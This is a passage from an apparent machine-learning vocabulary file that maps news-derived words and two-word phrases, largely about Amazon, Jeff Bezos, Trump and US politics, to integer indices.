67745, "company tomorrow": 67746, "universally alphabet": 67747, "gapping higher": 67748, "brian": 67749, "need don": 67750, "canal": 67751, "year heres": 67752, "highly controversial": 67753, "whimsical": 67754, "cadillac": 67755, "spur economic": 67756, "worth 805": 67757, "endorsement": 67758, "cleanly shaven": 67759, "complaints making": 67760, "tijuana stories": 67761, "dickerson": 67762, "earnings rose": 67763, "prices notably": 67764, "jedi violates": 67765, "tracks business": 67766, "ditch campaign": 67767, "nilly": 67768, "information public": 67769, "growth stories": 67770, "enacted": 67771, "crazy travel": 67772, "opening preliminary": 67773, "items beijing": 67774, "house twitter": 67775, "becker denies": 67776, "bolsonaro appointees": 67777, "speculation earlier": 67778, "amazon push": 67779, "resources including": 67780, "edition congress": 67781, "force records": 67782, "future president": 67783, "watch meeting": 67784, "1920": 67785, "deflationary forces": 67786, "manager andrew": 67787, "market terrorism": 67788, "regulatory plan": 67789, "harsh criticism": 67790, "logistics depot": 67791, "landed": 67792, "fisa application": 67793, "times america": 67794, "don decide": 67795, "retail headlineplaintext": 67796, "entertainment resorts": 67797, "elections highlights": 67798, "bezos feuding": 67799, "delaware": 67800, "solve": 67801, "hour including": 67802, "started carrying": 67803, "trillions globally": 67804, "bezo joked": 67805, "conflict created": 67806, "fulfils": 67807, "balance does": 67808, "suggested house": 67809, "dress designer": 67810, "defend hush": 67811, "behaviors expectations": 67812, "device appears": 67813, "article clearly": 67814, "consumers convenient": 67815, "review amid": 67816, "real mess": 67817, "bigbusiness": 67818, "2019 fool": 67819, "sales offers": 67820, "confidential information": 67821, "extended hiatus": 67822, "cnn president": 67823, "morning america": 67824, "legal scholars": 67825, "company commerce": 67826, "maga lions": 67827, "fuel efficient": 67828, "auto market": 67829, "overall experience": 67830, "deforestation story": 67831, "international law": 67832, "house minority": 67833, "conditions trump": 67834, "ami claiming": 67835, "iww group": 67836, "innovation pipeline": 67837, "values institute": 67838, "cbs": 67839, "bezos bank": 67840, "chemicals critics": 67841, "moments switzerland": 67842, "2017 great": 67843, "ari ezra": 67844, "pamies": 67845, "it09_trump_051818_ap jpg": 67846, "dent cnn": 67847, "approach using": 67848, "distraught": 67849, "iol business": 67850, "responder pages": 67851, "suggesting nfl": 67852, "catastrophic effects": 67853, "clearly colluding": 67854, "usps wants": 67855, "physical facility": 67856, "wage low": 67857, "injury fox": 67858, "heis going": 67859, "early action": 67860, "news flash": 67861, "won awards": 67862, "doctors improving": 67863, "andover town": 67864, "today detailing": 67865, "mathison": 67866, "rainey rebecca": 67867, "perspectives": 67868, "huge victory": 67869, "environmental ngos": 67870, "shareholders sent": 67871, "blamed": 67872, "important right": 67873, "medallist steven": 67874, "economist amazon": 67875, "bravely": 67876, "400 trailing": 67877, "inhumans": 67878, "information chris": 67879, "botched israeli": 67880, "heard amazon": 67881, "day vanessa": 67882, "valley struggles": 67883, "saddle": 67884, "credible evidence": 67885, "facebook deletes": 67886, "bel air": 67887, "million tiger": 67888, "local startups": 67889, "msnbc analyst": 67890, "critics": 67891, "expect jeff": 67892, "gather": 67893, "amazon enters": 67894, "aileen": 67895, "geheimzinnige": 67896, "d22nv8evmr3d8f": 67897, "ownership hedge": 67898, "amazon shares": 67899, "shade called": 67900, "charge amazon": 67901, "89m": 67902, "jpg 100x100": 67903, "deal passed": 67904, "equity funds": 67905, "vision passions": 67906, "ramsey jan": 67907, "modestly impacted": 67908, "upper class": 67909, "stone wife": 67910, "face higher": 67911, "philip van": 67912, "steve downer": 67913, "mortgage completely": 67914, "kimmel trump": 67915, "package pricing": 67916, "worker wrote": 67917, "contender amy": 67918, "sizable market": 67919, "amazon greer": 67920, "1977 picture": 67921, "harrigan insidesources": 67922, "stock crushed": 67923, "intact bolsonaro": 67924, "coach": 67925, "training business": 67926, "127": 67927, "doubt need": 67928, "entertainment holding": 67929, "ground including": 67930, "chairwoman nita": 67931, "100vw 650px": 67932, "disclosed story": 67933, "2020 advisory": 67934, "z\u00e9lie adebola": 67935, "repeatedly stomped": 67936, "elected speaker": 67937, "station jovem": 67938, "denied targeting": 67939, "interview kevin": 67940, "sorting program": 67941, "help curry": 67942, "today amazon": 67943, "reasons rep": 67944, "core commerce": 67945, "homecoming starring": 67946, "frankly vomit": 67947, "hometown paper": 67948, "actually true": 67949, "report hits": 67950, "leaving": 67951, "bernard clair": 67952, "scam corporate": 67953, "finally open": 67954, "area tech": 67955, "sophie": 67956, "crisis yemen": 67957, "poses risks": 67958, "retail shopping": 67959, "network kennedy": 67960, "impassioned": 67961, "horror story": 67962, "string lights": 67963, "santacon nyc": 67964, "sourceamazon": 67965, "year mistake": 67966, "indian origin": 67967, "music herera": 67968, "writers joseph": 67969, "constitutional amendment": 67970, "kill agreements": 67971, "soon robots": 67972, "novel follows": 67973, "structural change": 67974, "narrow pretty": 67975, "scum rulings": 67976, "educate parents": 67977, "shippers sent": 67978, "hiring 2018": 67979, "students experiences": 67980, "trump hanson": 67981, "futureworks": 67982, "resettlement live": 67983, "boost mobile": 67984, "prevent sellers": 67985, "excellent wine": 67986, "community pointed": 67987, "candidates bezos": 67988, "phone calls": 67989, "social cmpid": 67990, "phone latest": 67991, "free tommy": 67992, "greatly": 67993, "leadership according": 67994, "trump stories": 67995, "shoot arctic2": 67996, "combs posted": 67997, "lawyer jon": 67998, "global outrage": 67999, "jack dromey": 68000, "minimization framework": 68001, "schneider republicans": 68002, "yearly average": 68003, "public television": 68004, "bragging": 68005, "america competed": 68006, "rights council": 68007, "cohen crazy": 68008, "partnerships trump": 68009, "mad genius": 68010, "morgan thank": 68011, "holocaust poem": 68012, "americans writes": 68013, "guys herera": 68014, "getty_173218731_200015422000928060_388160": 68015, "western leather": 68016, "homeless": 68017, "states": 68018, "includes new": 68019, "teammates": 68020, "dynamic applies": 68021, "precious oxygen": 68022, "luhnow jos\u00e9": 68023, "unlike trump": 68024, "honesty": 68025, "misspellings jon": 68026, "toilet": 68027, "initiatives just": 68028, "practices sanders": 68029, "censorship corruption": 68030, "trade trump": 68031, "discloses fresh": 68032, "ajaypal": 68033, "tax software": 68034, "animates": 68035, "bother": 68036, "government prosecutor": 68037, "deviled egg": 68038, "worth taking": 68039, "albertalli check": 68040, "observed usps": 68041, "special interests": 68042, "juncker worked": 68043, "editors learned": 68044, "utm_term ba80967b7e99": 68045, "secures": 68046, "based fees": 68047, "shareholder value": 68048, "properly past": 68049, "fees reducing": 68050, "life incidents": 68051, "maxine": 68052, "rocket launch": 68053, "rami levy": 68054, "offhandedly accusing": 68055, "wikipedia president": 68056, "access michael": 68057, "terkel prize": 68058, "evening california": 68059, "potentially cost": 68060, "ordered shirts": 68061, "giles amazon": 68062, "goods including": 68063, "effective momentum": 68064, "nation pay": 68065, "digit increases": 68066, "couple years": 68067, "sabotaged": 68068, "thrilled posted": 68069, "accuses media": 68070, "neverland documentary": 68071, "defense systems": 68072, "andrew kaczynski": 68073, "network optimization": 68074, "amazon light": 68075, "marne": 68076, "robinson tributes": 68077, "marketing department": 68078, "driven individual": 68079, "effectively trump": 68080, "screeching anti": 68081, "cracks": 68082, "company investor": 68083, "sarayu blue": 68084, "human place": 68085, "2018 domo": 68086, "plus complete": 68087, "rapid growth": 68088, "pick steve": 68089, "kellys": 68090, "nang": 68091, "spot shot": 68092, "achtung baby": 68093, "president look": 68094, "cps": 68095, "state highest": 68096, "feistier": 68097, "witches asylums": 68098, "hq2 fallout": 68099, "stock investment": 68100, "ensnared": 68101, "blogs": 68102, "tucson arizona": 68103, "senate antitrust": 68104, "cdc_4594963233aeb9189cdc41a8_embed html": 68105, "topped harris": 68106, "transporting": 68107, "ruthlessness": 68108, "world subsidize": 68109, "ago buzzfeed": 68110, "frey": 68111, "minimizing": 68112, "paris rosenthal": 68113, "harassment charges": 68114, "referendum swiss": 68115, "geoffrey berman": 68116, "days sanders": 68117, "including naked": 68118, "p8 f4": 68119, "silence today": 68120, "technician watch": 68121, "ranking staff": 68122, "strangled": 68123, "story romney": 68124, "galley copy": 68125, "extremely controversial": 68126, "profits great": 68127, "grades": 68128, "phone design": 68129, "websocket connection": 68130, "executive authority": 68131, "built amazon": 68132, "fascinating writer": 68133, "america favorite": 68134, "carry extraordinary": 68135, "includes shares": 68136, "cash positions": 68137, "hqs": 68138, "commandeer": 68139, "judge ruled": 68140, "really hates": 68141, "asking permission": 68142, "564 shares": 68143, "giant technology": 68144, "demand strict": 68145, "lim": 68146, "gardner adds": 68147, "spain spanish": 68148, "despite president": 68149, "bought": 68150, "lebron james": 68151, "people eat": 68152, "late 1998": 68153, "retailer channel": 68154, "commerce omnichannel": 68155, "horror marathon": 68156, "smugglers": 68157, "collectively accounting": 68158, "revolt sinking": 68159, "colored flowers": 68160, "tax controversies": 68161, "giving hot": 68162, "asian horror": 68163, "president push": 68164, "amazon invited": 68165, "101 stranger": 68166, "million powerball": 68167, "kill business": 68168, "story tough": 68169, "abuse crisis": 68170, "columns pointedly": 68171, "significant effort": 68172, "assistant": 68173, "sickens": 68174, "teenager molly": 68175, "sas invested": 68176, "house event": 68177, "democratic sweep": 68178, "overview symbol": 68179, "add outlets": 68180, "trump visited": 68181, "regulatorsabout": 68182, "company rq": 68183, "strategic licensing": 68184, "impeachment isn": 68185, "ami long": 68186, "counterfeit sellers": 68187, "rep marsha": 68188, "council annual": 68189, "surveillance capitalism": 68190, "lobbying costs": 68191, "sanchez los": 68192, "including love": 68193, "giant intel": 68194, "north african": 68195, "bushel": 68196, "markham": 68197, "teach advanced": 68198, "harpooning": 68199, "fed speak": 68200, "huseman amazon": 68201, "hacking campaign": 68202, "hold hearings": 68203, "aclu test": 68204, "evening briefing": 68205, "tuft": 68206, "catherine nolan": 68207, "228648 228608": 68208, "building equinox": 68209, "reserve bank": 68210, "dark clouds": 68211, "politics steven": 68212, "journalist team": 68213, "house set": 68214, "google technology": 68215, "web overall": 68216, "wichita": 68217, "lcso deputy": 68218, "officially called": 68219, "universities organized": 68220, "2017 according": 68221, "wage jobs": 68222, "terribly wrong": 68223, "bobby kennedy": 68224, "order certain": 68225, "house lit": 68226, "investment amazon": 68227, "solution selected": 68228, "hett danhett": 68229, "tail retail": 68230, "somodevilla staff": 68231, "indisputably": 68232, "appointed swath": 68233, "asset limited": 68234, "planning whatis": 68235, "assembler": 68236, "million purchase": 68237, "bottled": 68238, "welldocumented": 68239, "make uber": 68240, "implant surface": 68241, "spencersoper": 68242, "media titled": 68243, "email click": 68244, "foods supermarkets": 68245, "work doubt": 68246, "winning best": 68247, "marginalized populations": 68248, "grows video": 68249, "tray": 68250, "critics nationwide": 68251, "repatriated money": 68252, "chastain speaks": 68253, "law continues": 68254, "sweeping view": 68255, "online unless": 68256, "newly forming": 68257, "1014188835465580544": 68258, "enormously profitable": 68259, "compounds denoting": 68260, "subordinate": 68261, "gurr assessment": 68262, "teams conducting": 68263, "creating massive": 68264, "news amnesty": 68265, "setisvideocollection true": 68266, "inspirational words": 68267, "fueled rising": 68268, "trump sitting": 68269, "satire unpublishable": 68270, "vogt": 68271, "carmakers control": 68272, "themes sexuality": 68273, "recent years": 68274, "mounting paranoia": 68275, "tax share": 68276, "design manipulating": 68277, "allegations including": 68278, "intensify": 68279, "v1 wsfolders": 68280, "hearing huseman": 68281, "fundamental schism": 68282, "critical leverage": 68283, "security washington": 68284, "appearance embedded": 68285, "objects watching": 68286, "cheap right": 68287, "alarming phone": 68288, "services companies": 68289, "mclaughlin": 68290, "yeh": 68291, "sacramento calif": 68292, "story fakes": 68293, "early losses": 68294, "selling deals": 68295, "jr did": 68296, "monumental horror": 68297, "division previously": 68298, "allende": 68299, "american worker": 68300, "claimed credit": 68301, "metz talks": 68302, "diaper bank": 68303, "state enduring": 68304, "open sourcewhether": 68305, "warehouse employees": 68306, "quinnipiac survey": 68307, "read william": 68308, "investors responded": 68309, "les jarrett": 68310, "criticized opponents": 68311, "group success": 68312, "gunpoint 2019": 68313, "undue burdens": 68314, "clinton correctional": 68315, "drone assassinations": 68316, "prices competitors": 68317, "owns 454": 68318, "china government": 68319, "291 million": 68320, "migrant": 68321, "riled": 68322, "political divisions": 68323, "showed tremendous": 68324, "exaggerated": 68325, "hamburger": 68326, "giving business": 68327, "accredited testing": 68328, "earlier remarks": 68329, "ap explains": 68330, "jets leased": 68331, "spiraling lower": 68332, "cover pre": 68333, "prevent government": 68334, "000 trump": 68335, "aids epidemic": 68336, "marketing ploy": 68337, "large swathes": 68338, "mizuno": 68339, "convicted": 68340, "alcoholics": 68341, "post feel": 68342, "american apparel": 68343, "excessively bearish": 68344, "york conundrum": 68345, "zuckerberg ahead": 68346, "illegally colluding": 68347, "processors": 68348, "alongside growing": 68349, "perspective firms": 68350, "cbs interactive": 68351, "\u0627\u062d nahit": 68352, "strategic shift": 68353, "smith sneaky": 68354, "recommendations read": 68355, "williston": 68356, "make funding": 68357, "party congressional": 68358, "precarity": 68359, "crisis commander": 68360, "primary special": 68361, "thiel vocal": 68362, "mother nature": 68363, "fave fave": 68364, "understand san": 68365, "operationally": 68366, "longtime pal": 68367, "cloud strategy": 68368, "952": 68369, "just throw": 68370, "movie theaters": 68371, "expecteded": 68372, "tech tax": 68373, "distinct lack": 68374, "moreabout bolduan": 68375, "renegotiate deals": 68376, "wages escalated": 68377, "monte": 68378, "deranged amazon": 68379, "person called": 68380, "toiletry look": 68381, "saudi publicist": 68382, "billionaire david": 68383, "ballston": 68384, "tariffs took": 68385, "officer testifies": 68386, "subwaybikes": 68387, "evidence contrary": 68388, "dominate freighter": 68389, "fear reforms": 68390, "legal notice": 68391, "alleged culprits": 68392, "numerous physical": 68393, "conducted ballistic": 68394, "barre secretary": 68395, "appears dwarfed": 68396, "recent twitter": 68397, "company seattle": 68398, "help revitalize": 68399, "photo facebook": 68400, "trump despite": 68401, "executives announced": 68402, "outdid": 68403, "idea instead": 68404, "office declining": 68405, "influence doesn": 68406, "specifically meant": 68407, "hofstadter": 68408, "rights land": 68409, "allows amazon": 68410, "limousines 2018": 68411, "va maxsa": 68412, "money say": 68413, "reportedly include": 68414, "633 3119": 68415, "original seattle": 68416, "plans gop": 68417, "gurr met": 68418, "isn just": 68419, "destroy missile": 68420, "\u0627\u0644\u0628\u0639\u064a\u062f rty48517017": 68421, "rich company": 68422, "suggesting ami": 68423, "_items jquery": 68424, "sorted dose": 68425, "university hoover": 68426, "2018 indiewire": 68427, "pez": 68428, "additionally blamed": 68429, "beauty pageant": 68430, "dyslexia friendly": 68431, "conflicts": 68432, "ryan love": 68433, "expanded government": 68434, "artistic director": 68435, "brit wit": 68436, "pacquiao balboa": 68437, "paid additional": 68438, "knowledge really": 68439, "changer 2018": 68440, "firingillegal": 68441, "jccoltin": 68442, "far suggests": 68443, "companies amzn": 68444, "newsletter": 68445, "969 bochy": 68446, "chicago board": 68447, "adds 196": 68448, "illusion": 68449, "higher salaries": 68450, "factual": 68451, "rising credit": 68452, "force icann": 68453, "countries slammed": 68454, "jedi negotiations": 68455, "fires florida": 68456, "rejection barracoon": 68457, "drama set": 68458, "great rare": 68459, "runs interference": 68460, "lerner": 68461, "majordomo": 68462, "backing necessary": 68463, "remained deadlocked": 68464, "times states": 68465, "second debate": 68466, "aed practice": 68467, "mass protests": 68468, "nonchalantly walked": 68469, "stripped": 68470, "package delivery": 68471, "using anonymous": 68472, "suits brought": 68473, "youngest": 68474, "water crisis": 68475, "order demanding": 68476, "americans richard": 68477, "mike segar": 68478, "business app": 68479, "security risk": 68480, "examiner good": 68481, "design according": 68482, "outside looking": 68483, "life changing": 68484, "experience instructive": 68485, "immigration crimes": 68486, "told elite": 68487, "almighty": 68488, "launch fact": 68489, "attracting site": 68490, "total taxes": 68491, "agency services": 68492, "regularly refine": 68493, "work related": 68494, "today high": 68495, "deleting negative": 68496, "school media": 68497, "apple versus": 68498, "tatler": 68499, "dodging company": 68500, "policy 2018": 68501, "specific selected": 68502, "circumstances": 68503, "state offered": 68504, "100x richer": 68505, "business carell": 68506, "crusade reuters": 68507, "children help": 68508, "severe illness": 68509, "recommends sharpened": 68510, "critiques": 68511, "poor wages": 68512, "response ivanka": 68513, "gawande tweeted": 68514, "hirono remarks": 68515, "race heats": 68516, "rights nationwide": 68517, "financial": 68518, "industry package": 68519, "additional intimate": 68520, "specialises": 68521, "regional delivery": 68522, "personal knowledge": 68523, "year running": 68524, "sent far": 68525, "sunlen": 68526, "cp redirect": 68527, "pretend": 68528, "republican national": 68529, "war program": 68530, "fico": 68531, "clear links": 68532, "summer rolls": 68533, "kevin hassett": 68534, "meg energy": 68535, "young kids": 68536, "paid service": 68537, "message used": 68538, "crypto hangover": 68539, "nonessential": 68540, "ensure reasonable": 68541, "advance gold": 68542, "origin offer": 68543, "publicly changed": 68544, "just improper": 68545, "page plan": 68546, "warren tweeted": 68547, "tgv": 68548, "aronofsky anarchic": 68549, "dating scene": 68550, "people park": 68551, "wwdc 2018": 68552, "amazon ended": 68553, "buy couple": 68554, "spent yearly": 68555, "dnainfo gothamist": 68556, "advisor warned": 68557, "walked free": 68558, "state gathered": 68559, "following close": 68560, "controls large": 68561, "extracurricular": 68562, "crime charges": 68563, "mortar retailing": 68564, "house politics": 68565, "set pokes": 68566, "orchestrating": 68567, "better digital": 68568, "1969 super": 68569, "layoffs": 68570, "cvs racial": 68571, "beenhit": 68572, "firm echo": 68573, "hq sympathised": 68574, "kill operations": 68575, "423": 68576, "fba": 68577, "israel palestinians": 68578, "bet": 68579, "narcos": 68580, "ayala ferreira": 68581, "kate mckinnon": 68582, "managers reported": 68583, "pen kamhi": 68584, "include proposed": 68585, "counterfeiting programs": 68586, "mediaite": 68587, "typical enquirer": 68588, "companies apple": 68589, "investor concerns": 68590, "better valuation": 68591, "donnell norahodonnell": 68592, "amazon racially": 68593, "tweet shares": 68594, "follows amazon": 68595, "inc_flag_for_reviewflag false": 68596, "limit competition": 68597, "public spotlight": 68598, "cnbc view": 68599, "reason pallavi": 68600, "government cronyism": 68601, "declined saying": 68602, "king check": 68603, "usps dramatically": 68604, "all3media": 68605, "consumers employees": 68606, "opensecrets": 68607, "congratulations france": 68608, "disparities remained": 68609, "fluctuation": 68610, "181008212727 ac": 68611, "london ____________________________trump": 68612, "plugs": 68613, "swears": 68614, "new story": 68615, "begins moving": 68616, "really beautiful": 68617, "border": 68618, "politicians ranging": 68619, "assist app": 68620, "inc_prtid inc_activeflag": 68621, "sneaky pete": 68622, "5billion charitable": 68623, "kentucky": 68624, "far managed": 68625, "parlours": 68626, "elizabeth winstead": 68627, "helping neighboring": 68628, "retaliates": 68629, "faux bezos": 68630, "little ghoul": 68631, "submit letters": 68632, "estimates currently": 68633, "usps letter": 68634, "openly detests": 68635, "sboss": 68636, "collections want": 68637, "amazon jump": 68638, "politico pro": 68639, "alimony": 68640, "000 health": 68641, "perfumania facebook": 68642, "9oypfoxzk3": 68643, "candidate gary": 68644, "log a4ee": 68645, "400 small": 68646, "student debt": 68647, "deliver prescription": 68648, "van ham": 68649, "chocolate chip": 68650, "pic sent": 68651, "era banks": 68652, "potential civil": 68653, "strong retail": 68654, "funded programs": 68655, "conveyed verbally": 68656, "elections delivered": 68657, "rest breaks": 68658, "best moments": 68659, "gymnastics trump": 68660, "scrappy entrepreneurial": 68661, "publicly released": 68662, "minimise time": 68663, "shelley": 68664, "marijuana walmart": 68665, "000 volunteer": 68666, "train rider": 68667, "contacted": 68668, "lee brice": 68669, "ibankcoin": 68670, "held steady": 68671, "ordering packages": 68672, "fund betting": 68673, "blockers": 68674, "rep dan": 68675, "media videocardcontents": 68676, "deplorable decal": 68677, "swat away": 68678, "curb control": 68679, "collins ben": 68680, "2019 thanks": 68681, "trump phoned": 68682, "chilling adventures": 68683, "forging son": 68684, "brilliant friend": 68685, "essentially bot": 68686, "reuters bs_bullet_primary": 68687, "planned 2018": 68688, "market believe": 68689, "uk editions": 68690, "necessitate": 68691, "npr ivanka": 68692, "testing facial": 68693, "started removing": 68694, "ipa": 68695, "want published": 68696, "multiple grocery": 68697, "sure highly": 68698, "recently elected": 68699, "kenya anti": 68700, "telling users": 68701, "perfectly priced": 68702, "demand higher": 68703, "discussed wide": 68704, "stocks boosting": 68705, "confidence interval": 68706, "insider stonesifer": 68707, "combat purposes": 68708, "evade": 68709, "friends congratulate": 68710, "broader carrier": 68711, "island kingdom": 68712, "cbc business": 68713, "discussions": 68714, "address farrow": 68715, "story fingerprint": 68716, "berenberg": 68717, "ami catch": 68718, "contracting": 68719, "time philanthropic": 68720, "business recently": 68721, "academics politicians": 68722, "senator plans": 68723, "chairman richard": 68724, "coward": 68725, "lithgow obviously": 68726, "tokyo asia": 68727, "sanders trump": 68728, "public advocate": 68729, "imposes sanctions": 68730, "corporate democrat": 68731, "parts furniture": 68732, "hardly needs": 68733, "nancy pelosi": 68734, "russian interference": 68735, "r4 a4": 68736, "podcast studio": 68737, "inopposition": 68738, "black girl": 68739, "phishing refers": 68740, "life misery": 68741, "withdraws offer": 68742, "popular high": 68743, "mongering nbc": 68744, "west immediately": 68745, "company benefited": 68746, "fund health": 68747, "paper digital": 68748, "term opioid": 68749, "starts helped": 68750, "rationing hedging": 68751, "military appointments": 68752, "kindel": 68753, "unethical catch": 68754, "crushes retail": 68755, "deal shortly": 68756, "explain difficult": 68757, "schwan truck": 68758, "2011 case": 68759, "bury negative": 68760, "game gtec": 68761, "getting orders": 68762, "adversary qatar": 68763, "apparent surprise": 68764, "fargo investors": 68765, "ago google": 68766, "business hide": 68767, "coverage container": 68768, "cnbc president": 68769, "committee dished": 68770, "make final": 68771, "digital formats": 68772, "various projects": 68773, "pillpack company": 68774, "earth youtube": 68775, "activists charged": 68776, "adelson las": 68777, "manager told": 68778, "issues trump": 68779, "virginia parties": 68780, "cloud architectures": 68781, "facebook execs": 68782, "leaked intimate": 68783, "amazon reps": 68784, "measures nationwide": 68785, "cds tightens": 68786, "cras": 68787, "floats wealth": 68788, "unscripted heather": 68789, "pecker publishing": 68790, "apple investment": 68791, "latest threat": 68792, "earphones": 68793, "return function": 68794, "tamebay": 68795, "young daughter": 68796, "founder did": 68797, "deadline": 68798, "update retail": 68799, "jessica langbaum": 68800, "fare increase": 68801, "based robotics": 68802, "internationally india": 68803, "story dimmed": 68804, "campaign appearances": 68805, "mics andsaid": 68806, "watching netflix": 68807, "case sure": 68808, "shepherded": 68809, "urinals finally": 68810, "duty serving": 68811, "completely tasteless": 68812, "tom talks": 68813, "lawsuit highlights": 68814, "significant responsibility": 68815, "live news": 68816, "pushes ahead": 68817, "bj wholesale": 68818, "cloud market": 68819, "home construction": 68820, "wars 2018": 68821, "netflix visual": 68822, "chris sununu": 68823, "stating": 68824, "account just": 68825, "current economic": 68826, "groups worry": 68827, "dowdupont": 68828, "cannibalization": 68829, "matthew bourke": 68830, "house bid": 68831, "broadway triumph": 68832, "increase sales": 68833, "latest atrocities": 68834, "tesla production": 68835, "allegations exclusively": 68836, "scripted": 68837, "milgrim": 68838, "mini consolidation": 68839, "result officials": 68840, "editors picks": 68841, "popular shoe": 68842, "embarrassing reports": 68843, "relationship bartiromo": 68844, "concedes": 68845, "civil defense": 68846, "epic kennedy": 68847, "sources": 68848, "short order": 68849, "universal health": 68850, "challenges amazon": 68851, "research company": 68852, "huawei stance": 68853, "deliveryservice": 68854, "infiltrate politics": 68855, "additional 500": 68856, "conservative groups": 68857, "margin great": 68858, "streisand": 68859, "demand large": 68860, "forcing users": 68861, "wall collapsed": 68862, "customers incorporate": 68863, "honest taxpayer": 68864, "xom": 68865, "economic expectations": 68866, "imaginable merchandise": 68867, "npr scotus": 68868, "prime shipping": 68869, "doubly disappointed": 68870, "national mall": 68871, "online action": 68872, "book barnes": 68873, "multicarrier solutions": 68874, "paid leave": 68875, "skeptics think": 68876, "quickly matching": 68877, "buy things": 68878, "means amazon": 68879, "japan toyota": 68880, "overcome billion": 68881, "separating children": 68882, "telstra": 68883, "learn skills": 68884, "day stocks": 68885, "called moderates": 68886, "hnhpf": 68887, "md seller": 68888, "dark realities": 68889, "little brother": 68890, "increasingly dangerous": 68891, "vast globally": 68892, "shutdown ends": 68893, "kessler": 68894, "berlin book": 68895, "launch lawsuit": 68896, "disturb": 68897, "policy enter": 68898, "working space": 68899, "imagine prison": 68900, "foreign retailers": 68901, "slansky responding": 68902, "lisa su": 68903, "contracts including": 68904, "kershner quentin": 68905, "katie lobosco": 68906, "resisted efforts": 68907, "win favor": 68908, "president following": 68909, "tax bonanza": 68910, "macs": 68911, "firm reported": 68912, "president disdain": 68913, "owns 276": 68914, "book started": 68915, "shouted pro": 68916, "granting indigenous": 68917, "aws segment": 68918, "don affect": 68919, "point consumers": 68920, "reform trump": 68921, "offering manigault": 68922, "turbulent": 68923, "battle reuters": 68924, "fourth position": 68925, "couple affair": 68926, "immigrant detention": 68927, "courier": 68928, "military deal": 68929, "protected commerce": 68930, "burnings": 68931, "wray": 68932, "deficient": 68933, "exas nasdaq": 68934, "north american": 68935, "dogs train": 68936, "unsettled race": 68937, "talent creativity": 68938, "claims attain": 68939, "industry specific": 68940, "big idea": 68941, "content superhero": 68942, "remodel": 68943, "major renovations": 68944, "tech nyc": 68945, "oboist": 68946, "centric brands": 68947, "replacement legislation": 68948, "amazon operations": 68949, "university industrial": 68950, "wire services": 68951, "exists owl": 68952, "unfolded jeff": 68953, "girlfriend": 68954, "mark shift": 68955, "backman": 68956, "does president": 68957, "police union": 68958, "wayfair asking": 68959, "sludge cass": 68960, "separate president": 68961, "twitter recent": 68962, "weekend getaway": 68963, "imaging": 68964, "appointed new": 68965, "professionals greater": 68966, "trusts apos": 68967, "season won": 68968, "nonbank": 68969, "ian read": 68970, "retroactively raise": 68971, "decor": 68972, "saber rattling": 68973, "erotic text": 68974, "predicts nearly": 68975, "amazon sign": 68976, "great grandchildren": 68977, "abuse": 68978, "apple forte": 68979, "metric includes": 68980, "approaching certainty": 68981, "democratic party": 68982, "asphalt": 68983, "average value": 68984, "wrote sulzberger": 68985, "ignored public": 68986, "little trumps": 68987, "chaos baseball": 68988, "deal remains": 68989, "trustees called": 68990, "taxpayer insured": 68991, "cited unnamed": 68992, "alexi lubomirski": 68993, "tolerance immigration": 68994, "experts representatives": 68995, "groupon": 68996, "material costs": 68997, "shore ala": 68998, "financial participation": 68999, "love africa": 69000, "just disagree": 69001, "accredited": 69002, "particular batteries": 69003, "wiping flushing": 69004, "alfalfa club": 69005, "100 confident": 69006, "official results": 69007, "cleanly": 69008, "outlet approaches": 69009, "ore amazon": 69010, "mcdonald sent": 69011, "early close": 69012, "drug money": 69013, "2008 real": 69014, "billions": 69015, "acosta incident": 69016, "latest battle": 69017, "provided jobs": 69018, "coverage policy": 69019, "kavanaugh videocmsurl": 69020, "strolling": 69021, "transforms": 69022, "constantly source": 69023, "owned homes": 69024, "sales outlook": 69025, "online retail": 69026, "187 distinct": 69027, "800 journalists": 69028, "cigna rival": 69029, "mccabe ontwitter": 69030, "corporate couples": 69031, "media cameron": 69032, "regulations issued": 69033, "marketplace smaller": 69034, "enjoyed direct": 69035, "expect support": 69036, "pixel phone": 69037, "president amazon": 69038, "webb showtime": 69039, "improve tours": 69040, "confrontational": 69041, "corridors": 69042, "providing series": 69043, "deliver aid": 69044, "kohl macy": 69045, "spectacular volcano": 69046, "weren captured": 69047, "laing norton": 69048, "congress paul": 69049, "trump argues": 69050, "bylund": 69051, "gaining investors": 69052, "scottie": 69053, "dams": 69054, "ubiquitous especially": 69055, "price 371": 69056, "expensive trump": 69057, "llp reminds": 69058, "choke": 69059, "boy joe": 69060, "china parscale": 69061, "gas pollution": 69062, "detect activity": 69063, "dinners stone": 69064, "house shake": 69065, "dossier written": 69066, "ugg boots": 69067, "ami media": 69068, "leading cause": 69069, "man dead": 69070, "early morning": 69071, "investigate working": 69072, "donnell norah": 69073, "amazon snl": 69074, "standing commerce": 69075, "marie burt": 69076, "wall st": 69077, "trafficking hub": 69078, "stock unfortunately": 69079, "oddity": 69080, "jonerp": 69081, "fundamental misunderstanding": 69082, "news french": 69083, "panels": 69084, "exceeded trillion": 69085, "iv\u00e1n": 69086, "reviling": 69087, "150 jobs": 69088, "producing fake": 69089, "bus millercoors": 69090, "pinch caused": 69091, "employees corporate": 69092, "struggling areas": 69093, "powered devices": 69094, "stoking concern": 69095, "general elections": 69096, "sink sears": 69097, "repeatedly vilified": 69098, "arnade": 69099, "says rival": 69100, "hickman lasted": 69101, "troubling issues": 69102, "workforce nationwide": 69103, "drugs pass": 69104, "amazon mouthpiece": 69105, "chasm": 69106, "justice lawsuit": 69107, "especially says": 69108, "significant construction": 69109, "country doesn": 69110, "ago reservoir": 69111, "disparaging comments": 69112, "italian man": 69113, "propose compromise": 69114, "election donald": 69115, "retail environment": 69116, "fairfax allegations": 69117, "luke tilley": 69118, "events": 69119, "married tv": 69120, "nytimes washingtonpost": 69121, "company successfully": 69122, "change antitrust": 69123, "trees online": 69124, "ge precrisis": 69125, "career built": 69126, "right talks": 69127, "presidency despite": 69128, "helped sotheby": 69129, "quo bezos": 69130, "sawing stock": 69131, "seller chart": 69132, "live forever": 69133, "briefs amazon": 69134, "traces 000": 69135, "platform form": 69136, "happen domino": 69137, "democratic majority": 69138, "writer jake": 69139, "low partisan": 69140, "sovide bloomberg": 69141, "ap sessions": 69142, "taxes research": 69143, "star": 69144, "foods worker": 69145, "claims strategy": 69146, "constantine personal": 69147, "enquirer exposed": 69148, "897 46b": 69149, "hikes": 69150, "space women": 69151, "coonsdem senator": 69152, "\u00e9migr\u00e9s mari": 69153, "sfe invest": 69154, "street america": 69155, "abortion measures": 69156, "itdepends": 69157, "shell": 69158, "cloud clients": 69159, "respected matt": 69160, "lead sponsor": 69161, "year operating": 69162, "agents posing": 69163, "causing problems": 69164, "frequent subject": 69165, "sketch comedy": 69166, "building": 69167, "requested revision": 69168, "especially prominent": 69169, "fedex 